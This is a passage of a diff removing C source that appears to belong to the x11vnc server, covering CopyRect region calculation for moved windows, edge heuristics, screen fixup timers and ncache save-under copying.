- /* one is still pending... try to force it out: */
- if (!fb_push_wait(max_wait, FB_COPY)) {
- fb_push_wait(max_wait/2, FB_COPY);
- }
-
- get_client_regions(&req, &mod, &cpy, &ncli);
- }
- if (cpy) {
- return 0;
- }
- }
-
- *obscured = 0;
- /*
- * XXX KDE and xfce do some weird things with the
- * stacking, it does not match XQueryTree. Work around
- * it for now by CopyRect-ing the *whole* on-screen
- * rectangle (whether obscured or not!)
- */
- if (time(NULL) > dt_bad_check + 5) {
- char *dt = guess_desktop();
- if (!strcmp(dt, "kde_maybe_is_ok_now...")) {
- dt_bad = 1;
- } else if (!strcmp(dt, "xfce")) {
- dt_bad = 1;
- } else {
- dt_bad = 0;
- }
- dt_bad_check = time(NULL);
- }
-
- if (clipshift) {
- x -= coff_x;
- y -= coff_y;
- }
- if (subwin) {
- x -= off_x;
- y -= off_y;
- }
-if (db2) fprintf(stderr, "try_copyrect: 0x%lx/0x%lx bad: %d stack_list_num: %d\n", orig_frame, frame, dt_bad, stack_list_num);
-
-/* XXX Y dt_bad = 0 */
- if (dt_bad && wireframe_in_progress) {
- sraRegionPtr rect;
- /* send the whole thing... */
- x1 = crfix(nfix(x, dpy_x), dx, dpy_x);
- y1 = crfix(nfix(y, dpy_y), dy, dpy_y);
- x2 = crfix(nfix(x+w, dpy_x+1), dx, dpy_x+1);
- y2 = crfix(nfix(y+h, dpy_y+1), dy, dpy_y+1);
-
- rect = sraRgnCreateRect(x1, y1, x2, y2);
-
- if (blackouts) {
- int i;
- sraRegionPtr bo_rect;
- for (i=0; i<blackouts; i++) {
- bo_rect = sraRgnCreateRect(blackr[i].x1,
- blackr[i].y1, blackr[i].x2, blackr[i].y2);
- sraRgnSubtract(rect, bo_rect);
- sraRgnDestroy(bo_rect);
- }
- }
- if (!nbatch) {
- do_copyregion(rect, dx, dy, 0);
- } else {
- batch_dxs[*nbatch] = dx;
- batch_dys[*nbatch] = dy;
- batch_reg[*nbatch] = sraRgnCreateRgn(rect);
- (*nbatch)++;
- }
- sraRgnDestroy(rect);
-
- sent_copyrect = 1;
- *obscured = 1; /* set to avoid an aggressive push */
-
- } else if (stack_list_num || dt_bad) {
- int k, tx1, tx2, ty1, ty2;
- sraRegionPtr moved_win, tmp_win, whole;
- sraRectangleIterator *iter;
- sraRect rect;
- int saw_me = 0;
- int orig_x, orig_y;
- int boff, bwin;
- XWindowAttributes attr;
-
- orig_x = x - dx;
- orig_y = y - dy;
-
- tx1 = nfix(orig_x, dpy_x);
- ty1 = nfix(orig_y, dpy_y);
- tx2 = nfix(orig_x+w, dpy_x+1);
- ty2 = nfix(orig_y+h, dpy_y+1);
-
-if (db2) fprintf(stderr, "moved_win: %4d %3d, %4d %3d 0x%lx ---\n",
- tx1, ty1, tx2, ty2, frame);
-
- moved_win = sraRgnCreateRect(tx1, ty1, tx2, ty2);
-
- dtime0(&tm);
-
- boff = get_boff();
- bwin = get_bwin();
-
- X_LOCK;
-
- /*
- * loop over the stack, top to bottom until we
- * find our wm frame:
- */
- for (k = stack_list_num - 1; k >= 0; k--) {
- Window swin;
-
- if (0 && dt_bad) {
- break;
- }
-
- swin = stack_list[k].win;
-if (db2) fprintf(stderr, "sw: %d/%lx\n", k, swin);
- if (swin == frame || swin == orig_frame) {
- if (db2) {
- saw_me = 1; fprintf(stderr, " ----------\n");
- } else {
- break;
- }
- }
-
- /* skip some unwanted cases: */
-#ifndef MACOSX
- if (swin == None) {
- continue;
- }
-#endif
- if (boff <= (int) swin && (int) swin < boff + bwin) {
- ; /* blackouts */
- } else if (! stack_list[k].fetched ||
- stack_list[k].time > tm + 2.0) {
- if (!valid_window(swin, &attr, 1)) {
- stack_list[k].valid = 0;
- } else {
- stack_list[k].valid = 1;
- stack_list[k].x = attr.x;
- stack_list[k].y = attr.y;
- stack_list[k].width = attr.width;
- stack_list[k].height = attr.height;
- stack_list[k].border_width = attr.border_width;
- stack_list[k].depth = attr.depth;
- stack_list[k].class = attr.class;
- stack_list[k].backing_store =
- attr.backing_store;
- stack_list[k].map_state =
- attr.map_state;
- }
- stack_list[k].fetched = 1;
- stack_list[k].time = tm;
- }
- if (!stack_list[k].valid) {
- continue;
- }
-
- attr.x = stack_list[k].x;
- attr.y = stack_list[k].y;
- attr.depth = stack_list[k].depth;
- attr.width = stack_list[k].width;
- attr.height = stack_list[k].height;
- attr.border_width = stack_list[k].border_width;
- attr.map_state = stack_list[k].map_state;
-
- if (attr.map_state != IsViewable) {
- continue;
- }
-if (db2) fprintf(stderr, "sw: %d/%lx %dx%d+%d+%d\n", k, swin, stack_list[k].width, stack_list[k].height, stack_list[k].x, stack_list[k].y);
-
- if (clipshift) {
- attr.x -= coff_x;
- attr.y -= coff_y;
- }
- if (subwin) {
- attr.x -= off_x;
- attr.y -= off_y;
- }
-
- /*
- * first subtract any overlap from the initial
- * window rectangle
- */
-
- /* clip the window to the visible screen: */
- tx1 = nfix(attr.x, dpy_x);
- ty1 = nfix(attr.y, dpy_y);
- tx2 = nfix(attr.x + attr.width, dpy_x+1);
- ty2 = nfix(attr.y + attr.height, dpy_y+1);
-
-if (db2) fprintf(stderr, " tmp_win-1: %4d %3d, %4d %3d 0x%lx\n",
- tx1, ty1, tx2, ty2, swin);
-if (db2 && saw_me) continue;
-
- /* see if window clips us: */
- tmp_win = sraRgnCreateRect(tx1, ty1, tx2, ty2);
- if (sraRgnAnd(tmp_win, moved_win)) {
- *obscured = 1;
-if (db2) fprintf(stderr, " : clips it.\n");
- }
- sraRgnDestroy(tmp_win);
-
- /* subtract it from our region: */
- tmp_win = sraRgnCreateRect(tx1, ty1, tx2, ty2);
- sraRgnSubtract(moved_win, tmp_win);
- sraRgnDestroy(tmp_win);
-
- /*
- * next, subtract from the initial window rectangle
- * anything that would clip it.
- */
-
- /* clip the window to the visible screen: */
- tx1 = nfix(attr.x - dx, dpy_x);
- ty1 = nfix(attr.y - dy, dpy_y);
- tx2 = nfix(attr.x - dx + attr.width, dpy_x+1);
- ty2 = nfix(attr.y - dy + attr.height, dpy_y+1);
-
-if (db2) fprintf(stderr, " tmp_win-2: %4d %3d, %4d %3d 0x%lx\n",
- tx1, ty1, tx2, ty2, swin);
-if (db2 && saw_me) continue;
-
- /* subtract it from our region: */
- tmp_win = sraRgnCreateRect(tx1, ty1, tx2, ty2);
- sraRgnSubtract(moved_win, tmp_win);
- sraRgnDestroy(tmp_win);
- }
-
- X_UNLOCK;
-
- if (extra_clip && ! sraRgnEmpty(extra_clip)) {
- whole = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
-
- if (clipshift) {
- sraRgnOffset(extra_clip, -coff_x, -coff_y);
- }
- if (subwin) {
- sraRgnOffset(extra_clip, -off_x, -off_y);
- }
-
- iter = sraRgnGetIterator(extra_clip);
- while (sraRgnIteratorNext(iter, &rect)) {
- /* clip the window to the visible screen: */
- tx1 = rect.x1;
- ty1 = rect.y1;
- tx2 = rect.x2;
- ty2 = rect.y2;
- tmp_win = sraRgnCreateRect(tx1, ty1, tx2, ty2);
- sraRgnAnd(tmp_win, whole);
-
- /* see if window clips us: */
- if (sraRgnAnd(tmp_win, moved_win)) {
- *obscured = 1;
- }
- sraRgnDestroy(tmp_win);
-
- /* subtract it from our region: */
- tmp_win = sraRgnCreateRect(tx1, ty1, tx2, ty2);
- sraRgnSubtract(moved_win, tmp_win);
- sraRgnDestroy(tmp_win);
-
- /*
- * next, subtract from the initial window rectangle
- * anything that would clip it.
- */
- tmp_win = sraRgnCreateRect(tx1, ty1, tx2, ty2);
- sraRgnOffset(tmp_win, -dx, -dy);
-
- /* clip the window to the visible screen: */
- sraRgnAnd(tmp_win, whole);
-
- /* subtract it from our region: */
- sraRgnSubtract(moved_win, tmp_win);
- sraRgnDestroy(tmp_win);
- }
- sraRgnReleaseIterator(iter);
- sraRgnDestroy(whole);
- }
-
- dt = dtime(&tm);
-if (db2) fprintf(stderr, " stack_work dt: %.4f\n", dt);
-
- if (*obscured && !strcmp(wireframe_copyrect, "top")) {
- ; /* cannot send CopyRegion */
- } else if (! sraRgnEmpty(moved_win)) {
- sraRegionPtr whole, shifted_region;
-
- whole = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- shifted_region = sraRgnCreateRgn(moved_win);
- sraRgnOffset(shifted_region, dx, dy);
- sraRgnAnd(shifted_region, whole);
-
- sraRgnDestroy(whole);
-
- /* now send the CopyRegion: */
- if (! sraRgnEmpty(shifted_region)) {
- dtime0(&tm);
- if (!nbatch) {
- do_copyregion(shifted_region, dx, dy, 0);
- } else {
- batch_dxs[*nbatch] = dx;
- batch_dys[*nbatch] = dy;
- batch_reg[*nbatch] = sraRgnCreateRgn(shifted_region);
- (*nbatch)++;
-
- }
- dt = dtime(&tm);
-if (0 || db2) fprintf(stderr, "do_copyregion: %d %d %d %d dx: %d dy: %d dt: %.4f\n",
- tx1, ty1, tx2, ty2, dx, dy, dt);
- sent_copyrect = 1;
- }
- sraRgnDestroy(shifted_region);
- }
- sraRgnDestroy(moved_win);
- }
- return sent_copyrect;
-}
-
-int near_wm_edge(int x, int y, int w, int h, int px, int py) {
- /* heuristics: */
- int wf_t = wireframe_top;
- int wf_b = wireframe_bot;
- int wf_l = wireframe_left;
- int wf_r = wireframe_right;
-
- int near_edge = 0;
-
- if (wf_t || wf_b || wf_l || wf_r) {
- if (nabs(y - py) < wf_t) {
- near_edge = 1;
- }
- if (nabs(y + h - py) < wf_b) {
- near_edge = 1;
- }
- if (nabs(x - px) < wf_l) {
- near_edge = 1;
- }
- if (nabs(x + w - px) < wf_r) {
- near_edge = 1;
- }
- } else {
- /* all zero; always "near" edge: */
- near_edge = 1;
- }
- return near_edge;
-}
-
-int near_scrollbar_edge(int x, int y, int w, int h, int px, int py) {
- /* heuristics: */
- int sb_t = scrollcopyrect_top;
- int sb_b = scrollcopyrect_bot;
- int sb_l = scrollcopyrect_left;
- int sb_r = scrollcopyrect_right;
-
- int near_edge = 0;
-
- if (sb_t || sb_b || sb_l || sb_r) {
- if (nabs(y - py) < sb_t) {
- near_edge = 1;
- }
- if (nabs(y + h - py) < sb_b) {
- near_edge = 1;
- }
- if (nabs(x - px) < sb_l) {
- near_edge = 1;
- }
- if (nabs(x + w - px) < sb_r) {
- near_edge = 1;
- }
- } else {
- /* all zero; always "near" edge: */
- near_edge = 1;
- }
- return near_edge;
-}
-
-void check_fixscreen(void) {
- double now = dnow();
- int didfull = 0, db = 0;
-
- if (!client_count) {
- return;
- }
- if (unixpw_in_progress) return;
-
- if (screen_fixup_X > 0.0) {
- static double last = 0.0;
- if (now > last + screen_fixup_X) {
- if (db) rfbLog("doing screen_fixup_X\n");
- do_copy_screen = 1;
- last = now;
- didfull = 1;
- }
-
- }
- if (screen_fixup_V > 0.0) {
- static double last = 0.0;
- if (now > last + screen_fixup_V) {
- if (! didfull) {
- refresh_screen(0);
- if (db) rfbLog("doing screen_fixup_V\n");
- }
- last = now;
- didfull = 1;
- }
- }
- if (screen_fixup_C > 0.0) {
- static double last = 0.0;
- if (last_copyrect_fix < last_copyrect &&
- now > last_copyrect + screen_fixup_C) {
- if (! didfull) {
- refresh_screen(0);
- if (db) rfbLog("doing screen_fixup_C\n");
- }
- last_copyrect_fix = now;
- last = now;
- didfull = 1;
- }
- }
- if (scaling && last_copyrect_fix < last_copyrect) {
- static double last = 0.0;
- double delay = 3.0;
- if (now > last + delay) {
- if (! didfull) {
- scale_and_mark_rect(0, 0, dpy_x, dpy_y, 1);
- if (db) rfbLog("doing scale screen_fixup\n");
- }
- last_copyrect_fix = now;
- last = now;
- didfull = 1;
- }
- }
- if (advertise_truecolor && advertise_truecolor_reset && indexed_color) {
- /* this will reset framebuffer to correct colors, if needed */
- static double dlast = 0.0;
- now = dnow();
- if (now > last_client + 1.0 && now < last_client + 3.0 && now > dlast + 5.0) {
- rfbLog("advertise truecolor reset framebuffer\n");
- do_new_fb(1);
- dlast = dnow();
- return;
- }
- }
-}
-
-static int wireframe_mod_state() {
- if (! wireframe_mods) {
- return 0;
- }
- if (!strcmp(wireframe_mods, "all")) {
- if (track_mod_state(NoSymbol, FALSE, FALSE)) {
- return 1;
- } else {
- return 0;
- }
-
- } else if (!strcmp(wireframe_mods, "Alt")) {
- if (track_mod_state(XK_Alt_L, FALSE, FALSE) == 1) {
- return 1;
- } else if (track_mod_state(XK_Alt_R, FALSE, FALSE) == 1) {
- return 1;
- }
- } else if (!strcmp(wireframe_mods, "Shift")) {
- if (track_mod_state(XK_Shift_L, FALSE, FALSE) == 1) {
- return 1;
- } else if (track_mod_state(XK_Shift_R, FALSE, FALSE) == 1) {
- return 1;
- }
- } else if (!strcmp(wireframe_mods, "Control")) {
- if (track_mod_state(XK_Control_L, FALSE, FALSE) == 1) {
- return 1;
- } else if (track_mod_state(XK_Control_R, FALSE, FALSE) == 1) {
- return 1;
- }
- } else if (!strcmp(wireframe_mods, "Meta")) {
- if (track_mod_state(XK_Meta_L, FALSE, FALSE) == 1) {
- return 1;
- } else if (track_mod_state(XK_Meta_R, FALSE, FALSE) == 1) {
- return 1;
- }
- } else if (!strcmp(wireframe_mods, "Super")) {
- if (track_mod_state(XK_Super_L, FALSE, FALSE) == 1) {
- return 1;
- } else if (track_mod_state(XK_Super_R, FALSE, FALSE) == 1) {
- return 1;
- }
- } else if (!strcmp(wireframe_mods, "Hyper")) {
- if (track_mod_state(XK_Hyper_L, FALSE, FALSE) == 1) {
- return 1;
- } else if (track_mod_state(XK_Hyper_R, FALSE, FALSE) == 1) {
- return 1;
- }
- }
- return 0;
-}
-
-static int NPP_nreg = 0;
-static sraRegionPtr NPP_roffscreen = NULL;
-static sraRegionPtr NPP_r_bs_tmp = NULL;
-static Window NPP_nwin = None;
-
-void clear_win_events(Window win, int vis) {
-#if !NO_X11
- if (dpy && win != None && ncache) {
- XEvent ev;
- XErrorHandler old_handler;
- old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
- while (XCheckTypedWindowEvent(dpy, win, ConfigureNotify, &ev)) {
- if (ncdb) fprintf(stderr, ".");
- if (trapped_xerror) {
- break;
- }
- trapped_xerror = 0;
- }
-/* XXX Y */
- if (vis) {
- while (XCheckTypedWindowEvent(dpy, win, VisibilityNotify, &ev)) {
- if (ncdb) fprintf(stderr, "+");
- if (trapped_xerror) {
- break;
- }
- trapped_xerror = 0;
- }
- }
- XSetErrorHandler(old_handler);
- if (ncdb) fprintf(stderr, " 0x%lx\n", win);
- }
-#endif
-}
-
-void push_borders(sraRect *rects, int nrect) {
- int i, s = 2;
- sraRegionPtr r0, r1, r2;
-
- r0 = sraRgnCreate();
- r1 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
-
- for (i=0; i<nrect; i++) {
- int x = rects[i].x1;
- int y = rects[i].y1;
- int w = rects[i].x2;
- int h = rects[i].y2;
-
- if (w > 0 && h > 0 && w * h > 64 * 64) {
- r2 = sraRgnCreateRect(x - s, y , x , y + h);
- sraRgnOr(r0, r2);
- sraRgnDestroy(r2);
-
- r2 = sraRgnCreateRect(x + w, y , x + w + s, y + h);
- sraRgnOr(r0, r2);
- sraRgnDestroy(r2);
-
- r2 = sraRgnCreateRect(x - s, y - s, x + w + s, y + s);
- sraRgnOr(r0, r2);
- sraRgnDestroy(r2);
-
- r2 = sraRgnCreateRect(x - s, y , x + w + s, y + h + s);
- sraRgnOr(r0, r2);
- sraRgnDestroy(r2);
- }
- }
-
- sraRgnAnd(r0, r1);
-
- if (!sraRgnEmpty(r0)) {
- double d = dnow();
- sraRectangleIterator *iter;
- sraRect rect;
- int db = 0;
-
- if (db) fprintf(stderr, "SCALE_BORDER\n");
- fb_push_wait(0.05, FB_MOD|FB_COPY);
-
- iter = sraRgnGetIterator(r0);
- while (sraRgnIteratorNext(iter, &rect)) {
- /* clip the window to the visible screen: */
- int tx1 = rect.x1;
- int ty1 = rect.y1;
- int tx2 = rect.x2;
- int ty2 = rect.y2;
- scale_and_mark_rect(tx1, ty1, tx2, ty2, 1);
- }
- sraRgnReleaseIterator(iter);
-
- if (db) fprintf(stderr, "SCALE_BORDER %.4f\n", dnow() - d);
- fb_push_wait(0.1, FB_MOD|FB_COPY);
- if (db) fprintf(stderr, "SCALE_BORDER %.4f\n", dnow() - d);
- }
- sraRgnDestroy(r0);
- sraRgnDestroy(r1);
-}
-
-void ncache_pre_portions(Window orig_frame, Window frame, int *nidx_in, int try_batch, int *use_batch,
- int orig_x, int orig_y, int orig_w, int orig_h, int x, int y, int w, int h, double ntim) {
- int nidx, np = ncache_pad;
-
- if (!ntim) {}
- *use_batch = 0;
- *nidx_in = -1;
- NPP_nreg = 0;
- NPP_roffscreen = NULL;
- NPP_r_bs_tmp = NULL;
- NPP_nwin = None;
-
- if (ncache <= 0) {
- return;
- }
-
- if (rotating) {
- try_batch = 0;
- }
-
- if (*nidx_in == -1) {
- nidx = lookup_win_index(orig_frame);
- NPP_nwin = orig_frame;
- if (nidx < 0) {
- nidx = lookup_win_index(frame);
- NPP_nwin = frame;
- }
- } else {
- nidx = *nidx_in;
- }
- if (nidx > 0) {
- sraRegionPtr r0, r1, r2;
- int dx, dy;
- int bs_x = cache_list[nidx].bs_x;
- int bs_y = cache_list[nidx].bs_y;
- int bs_w = cache_list[nidx].bs_w;
- int bs_h = cache_list[nidx].bs_h;
-
- *nidx_in = nidx;
-
- if (bs_x < 0) {
- if (!find_rect(nidx, x, y, w, h)) {
- nidx = -1;
- return;
- }
- bs_x = cache_list[nidx].bs_x;
- bs_y = cache_list[nidx].bs_y;
- bs_w = cache_list[nidx].bs_w;
- bs_h = cache_list[nidx].bs_h;
- }
- if (bs_x < 0) {
- nidx = -1;
- return;
- }
-
- if (try_batch) {
- *use_batch = 1;
- }
-
- if (ncache_pad) {
- orig_x -= np;
- orig_y -= np;
- orig_w += 2 * np;
- orig_h += 2 * np;
- x -= np;
- y -= np;
- w += 2 * np;
- h += 2 * np;
- }
-
- if (clipshift) {
- orig_x -= coff_x;
- orig_y -= coff_y;
- x -= coff_x;
- y -= coff_y;
- }
-
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
-
- r2 = sraRgnCreateRect(orig_x, orig_y, orig_x + orig_w, orig_y + orig_h);
- sraRgnSubtract(r2, r0);
- if (! sraRgnEmpty(r2) && cache_list[nidx].bs_time > 0.0) {
- /* some is initially offscreen */
- dx = bs_x - orig_x;
- dy = bs_y - orig_y;
- sraRgnOffset(r2, dx, dy);
- dx = 0;
- dy = dpy_y;
- sraRgnOffset(r2, dx, dy);
-if (ncdb) fprintf(stderr, "FB_COPY: %.4f 1) offscreen: dx, dy: %d, %d -> %d, %d orig %dx%d+%d+%d bs_xy: %d %d\n",
- dnow() - ntim, bs_x - orig_x, bs_y - orig_y, dx, dy, orig_w, orig_h, orig_x, orig_y, bs_x, bs_y);
-
- /* 0) save it in the invalid (offscreen) SU portion */
- if (! *use_batch) {
- do_copyregion(r2, dx, dy, 0);
- if (! fb_push_wait(0.2, FB_COPY)) {
- fb_push_wait(0.1, FB_COPY);
- }
- } else {
- batch_dxs[NPP_nreg] = dx;
- batch_dys[NPP_nreg] = dy;
- batch_reg[NPP_nreg++] = sraRgnCreateRgn(r2);
- }
- NPP_roffscreen = sraRgnCreateRgn(r2);
- }
- sraRgnDestroy(r2);
-
- /* 1) use bs for temp storage of the new save under. */
- r1 = sraRgnCreateRect(x, y, x + w, y + h);
- sraRgnAnd(r1, r0);
-
- dx = bs_x - x;
- dy = bs_y - y;
- sraRgnOffset(r1, dx, dy);
-
-if (ncdb) fprintf(stderr, "FB_COPY: %.4f 1) use tmp bs:\n", dnow() - ntim);
- if (! *use_batch) {
- do_copyregion(r1, dx, dy, 0);
- if (! fb_push_wait(0.2, FB_COPY)) {
-if (ncdb) fprintf(stderr, "FB_COPY: %.4f 1) FAILED.\n", dnow() - ntim);
- fb_push_wait(0.1, FB_COPY);
- }
- } else {
- batch_dxs[NPP_nreg] = dx;
- batch_dys[NPP_nreg] = dy;
- batch_reg[NPP_nreg++] = sraRgnCreateRgn(r1);
- }
- NPP_r_bs_tmp = sraRgnCreateRgn(r1);
- sraRgnDestroy(r0);
- sraRgnDestroy(r1);
- }
-}
-
-void ncache_post_portions(int nidx, int use_batch, int orig_x, int orig_y, int orig_w, int orig_h,
- int x, int y, int w, int h, double batch_delay, double ntim) {
- int np = ncache_pad;
- int db = 0;
-
- if (ncache > 0 && nidx >= 0) {
- sraRegionPtr r0, r1, r2, r3;
- int dx, dy;
- int su_x = cache_list[nidx].su_x;
- int su_y = cache_list[nidx].su_y;
- int su_w = cache_list[nidx].su_w;
- int su_h = cache_list[nidx].su_h;
- int bs_x = cache_list[nidx].bs_x;
- int bs_y = cache_list[nidx].bs_y;
- int bs_w = cache_list[nidx].bs_w;
- int bs_h = cache_list[nidx].bs_h;
- int some_su = 0;
-
-if (db) fprintf(stderr, "su: %dx%d+%d+%d bs: %dx%d+%d+%d\n", su_w, su_h, su_x, su_y, bs_w, bs_h, bs_x, bs_y);
-
- if (bs_x < 0) {
- if (!find_rect(nidx, x, y, w, h)) {
- return;
- }
- su_x = cache_list[nidx].su_x;
- su_y = cache_list[nidx].su_y;
- su_w = cache_list[nidx].su_w;
- su_h = cache_list[nidx].su_h;
- bs_x = cache_list[nidx].bs_x;
- bs_y = cache_list[nidx].bs_y;
- bs_w = cache_list[nidx].bs_w;
- bs_h = cache_list[nidx].bs_h;
- }
- if (bs_x < 0) {
- return;
- }
-
- if (ncache_pad) {
- orig_x -= np;
- orig_y -= np;
- orig_w += 2 * np;
- orig_h += 2 * np;
- x -= np;
- y -= np;
- w += 2 * np;
- h += 2 * np;
- }
-
- if (clipshift) {
- orig_x -= coff_x;
- orig_y -= coff_y;
- x -= coff_x;
- y -= coff_y;
- }
-
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
-
- /* 0b) copy this bs part stored in saveunder */
- if (NPP_roffscreen != NULL) {
- dx = x - su_x;
- dy = y - su_y;
- sraRgnOffset(NPP_roffscreen, dx, dy);
- sraRgnAnd(NPP_roffscreen, r0);
-
- if (! use_batch) {
- do_copyregion(NPP_roffscreen, dx, dy, 0);
- if (!fb_push_wait(0.2, FB_COPY)) {
- fb_push_wait(0.1, FB_COPY);
- }
- } else {
- batch_dxs[NPP_nreg] = dx;
- batch_dys[NPP_nreg] = dy;
- batch_reg[NPP_nreg++] = sraRgnCreateRgn(NPP_roffscreen);
- }
- sraRgnDestroy(NPP_roffscreen);
- }
-
- /* 3) copy from the saveunder to where orig win was */
- r1 = sraRgnCreateRect(orig_x, orig_y, orig_x + orig_w, orig_y + orig_h);
- sraRgnAnd(r1, r0);
- r2 = sraRgnCreateRect(x+np, y+np, x + w-np, y + h-np);
- sraRgnAnd(r2, r0);
- sraRgnSubtract(r1, r2);
-
- dx = orig_x - su_x;
- dy = orig_y - su_y;
-if (db && ncdb) fprintf(stderr, "FB_COPY: %.4f 3) sent_copyrect: su_restore: %d %d\n", dnow() - ntim, dx, dy);
- if (cache_list[nidx].su_time == 0.0) {
- ;
- } else if (! use_batch) {
- do_copyregion(r1, dx, dy, 0);
- if (!fb_push_wait(0.2, FB_COPY)) {
-if (db && ncdb) fprintf(stderr, "FB_COPY: %.4f 3) FAILED.\n", dnow() - ntim);
- fb_push_wait(0.1, FB_COPY);
- }
- } else {
- batch_dxs[NPP_nreg] = dx;
- batch_dys[NPP_nreg] = dy;
- batch_reg[NPP_nreg++] = sraRgnCreateRgn(r1);
- }
-if (db && ncdb) fprintf(stderr, "sent_copyrect: %.4f su_restore: done.\n", dnow() - ntim);
- sraRgnDestroy(r0);
- sraRgnDestroy(r1);
- sraRgnDestroy(r2);
-
- /* 4) if overlap between orig and displaced, move the corner that will still be su: */
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
-
- r1 = sraRgnCreateRect(orig_x, orig_y, orig_x + orig_w, orig_y + orig_h);
- sraRgnAnd(r1, r0);
- r2 = sraRgnCreateRect(x, y, x + w, y + h);
- sraRgnAnd(r2, r0);
- r3 = NULL;
- if (sraRgnAnd(r2, r1) && cache_list[nidx].su_time > 0.0) {
- int dx2 = su_x - orig_x;
- int dy2 = su_y - orig_y;
-
- r3 = sraRgnCreateRgn(r2);
- sraRgnOffset(r2, dx2, dy2);
-
- dx = su_x - x;
- dy = su_y - y;
- sraRgnOffset(r3, dx, dy);
-
- dx = dx - dx2;
- dy = dy - dy2;
-
-if (db && ncdb) fprintf(stderr, "FB_COPY: %.4f 4) move overlap inside su:\n", dnow() - ntim);
- if (! use_batch) {
- do_copyregion(r3, dx, dy, 0);
- if (!fb_push_wait(0.2, FB_COPY)) {
-if (db) fprintf(stderr, "FB_COPY: %.4f 4) FAILED.\n", dnow() - ntim);
- fb_push_wait(0.1, FB_COPY);
- }
- } else {
- batch_dxs[NPP_nreg] = dx;
- batch_dys[NPP_nreg] = dy;
- batch_reg[NPP_nreg++] = sraRgnCreateRgn(r3);
- }
- }
- sraRgnDestroy(r0);
- sraRgnDestroy(r1);
- sraRgnDestroy(r2);
-
- /* 5) copy our temporary stuff from bs to su: */
- dx = su_x - bs_x;
- dy = su_y - bs_y;
- if (NPP_r_bs_tmp == NULL) {
- r1 = sraRgnCreateRect(su_x, su_y, su_x + su_w, su_y + su_h);
- } else {
- r1 = sraRgnCreateRgn(NPP_r_bs_tmp);
- sraRgnOffset(r1, dx, dy);
- sraRgnDestroy(NPP_r_bs_tmp);
- }
- if (r3 != NULL) {
- sraRgnSubtract(r1, r3);
- sraRgnDestroy(r3);
- }
-if (db) fprintf(stderr, "FB_COPY: %.4f 5) move tmp bs to su:\n", dnow() - ntim);
- if (! use_batch) {
- do_copyregion(r1, dx, dy, 0);
- if (!fb_push_wait(0.2, FB_COPY)) {
-if (db) fprintf(stderr, "FB_COPY: %.4f 5) FAILED.\n", dnow() - ntim);
- fb_push_wait(0.1, FB_COPY);
- }
- } else {
- batch_dxs[NPP_nreg] = dx;
- batch_dys[NPP_nreg] = dy;
- batch_reg[NPP_nreg++] = sraRgnCreateRgn(r1);
- }
- if (! sraRgnEmpty(r1)) {
- some_su = 1;
- }
- sraRgnDestroy(r1);
-
- /* 6) not really necessary, update bs with current view: */
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- r1 = sraRgnCreateRect(x, y, x + w, y + h);
- sraRgnAnd(r1, r0);
- dx = bs_x - x;
- dy = bs_y - y;
- sraRgnOffset(r1, dx, dy);
-if (db) fprintf(stderr, "FB_COPY: %.4f 6) snapshot bs:\n", dnow() - ntim);
- if (! use_batch) {
- do_copyregion(r1, dx, dy, 0);
- if (!fb_push_wait(0.2, FB_COPY)) {
-if (db) fprintf(stderr, "FB_COPY: %.4f 6) FAILED.\n", dnow() - ntim);
- fb_push_wait(0.1, FB_COPY);
- }
- } else {
- batch_dxs[NPP_nreg] = dx;
- batch_dys[NPP_nreg] = dy;
- batch_reg[NPP_nreg++] = sraRgnCreateRgn(r1);
- }
- sraRgnDestroy(r0);
- sraRgnDestroy(r1);
-
- if (use_batch) {
- batch_push(NPP_nreg, batch_delay);
-if (ncdb) fprintf(stderr, "FB_COPY: %.4f XX did batch 0x%x %3d su: %dx%d+%d+%d bs: %dx%d+%d+%d\n", dnow() - ntim,
- (unsigned int) cache_list[nidx].win, nidx, su_w, su_h, su_x, su_y, bs_w, bs_h, bs_x, bs_y);
- }
- cache_list[nidx].x = x + np;
- cache_list[nidx].y = y + np;
-
- /* XXX Y */
- cache_list[nidx].bs_time = dnow();
- if (some_su) {
- cache_list[nidx].su_time = dnow();
- }
- } else {
- if (use_batch) {
- batch_push(NPP_nreg, batch_delay);
- }
- }
-
- if (scaling) {
- sraRect rects[2];
-
- rects[0].x1 = orig_x;
- rects[0].y1 = orig_y;
- rects[0].x2 = orig_w;
- rects[0].y2 = orig_h;
-
- rects[1].x1 = x;
- rects[1].y1 = y;
- rects[1].x2 = w;
- rects[1].y2 = h;
- push_borders(rects, 2);
- }
-}
-
-void do_copyrect_drag_move(Window orig_frame, Window frame, int *nidx, int try_batch,
- int now_x, int now_y, int orig_w, int orig_h, int x, int y, int w, int h, double batch_delay) {
-
- int sent_copyrect = 1, obscured = 0;
- int dx, dy;
- int use_batch = 0;
- double ntim = dnow();
- static int nob = -1;
- sraRegionPtr r0, r1;
-
- if (nob < 0) {
- if (getenv("NOCRBATCH")) {
- nob = 1;
- } else {
- nob = 0;
- }
- }
- if (nob) {
- try_batch = 0;
- }
-
- dx = x - now_x;
- dy = y - now_y;
- if (dx == 0 && dy == 0) {
- return;
- }
-if (ncdb) fprintf(stderr, "do_COPY: now_xy: %d %d, orig_wh: %d %d, xy: %d %d, wh: %d %d\n",now_x, now_y, orig_w, orig_h, x, y, w, h);
-
- ncache_pre_portions(orig_frame, frame, nidx, try_batch, &use_batch,
- now_x, now_y, orig_w, orig_h, x, y, w, h, ntim);
-
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- r1 = sraRgnCreateRect(x, y, x + w, y + h);
- sraRgnAnd(r1, r0);
-
- dx = x - now_x;
- dy = y - now_y;
-
- /* make sure the source is on-screen too */
- sraRgnOffset(r1, -dx, -dy);
- sraRgnAnd(r1, r0);
- sraRgnOffset(r1, +dx, +dy);
- sraRgnAnd(r1, r0); /* just to be sure, problably not needed */
-
- if (! use_batch) {
- do_copyregion(r1, dx, dy, 0);
- if (!fb_push_wait(0.2, FB_COPY)) {
-if (ncdb) fprintf(stderr, "FB_COPY: %.4f 3) *FAILED*\n", dnow() - ntim);
- fb_push_wait(0.1, FB_COPY);
- }
- } else {
- batch_dxs[NPP_nreg] = dx;
- batch_dys[NPP_nreg] = dy;
- batch_reg[NPP_nreg++] = sraRgnCreateRgn(r1);
- }
- sraRgnDestroy(r0);
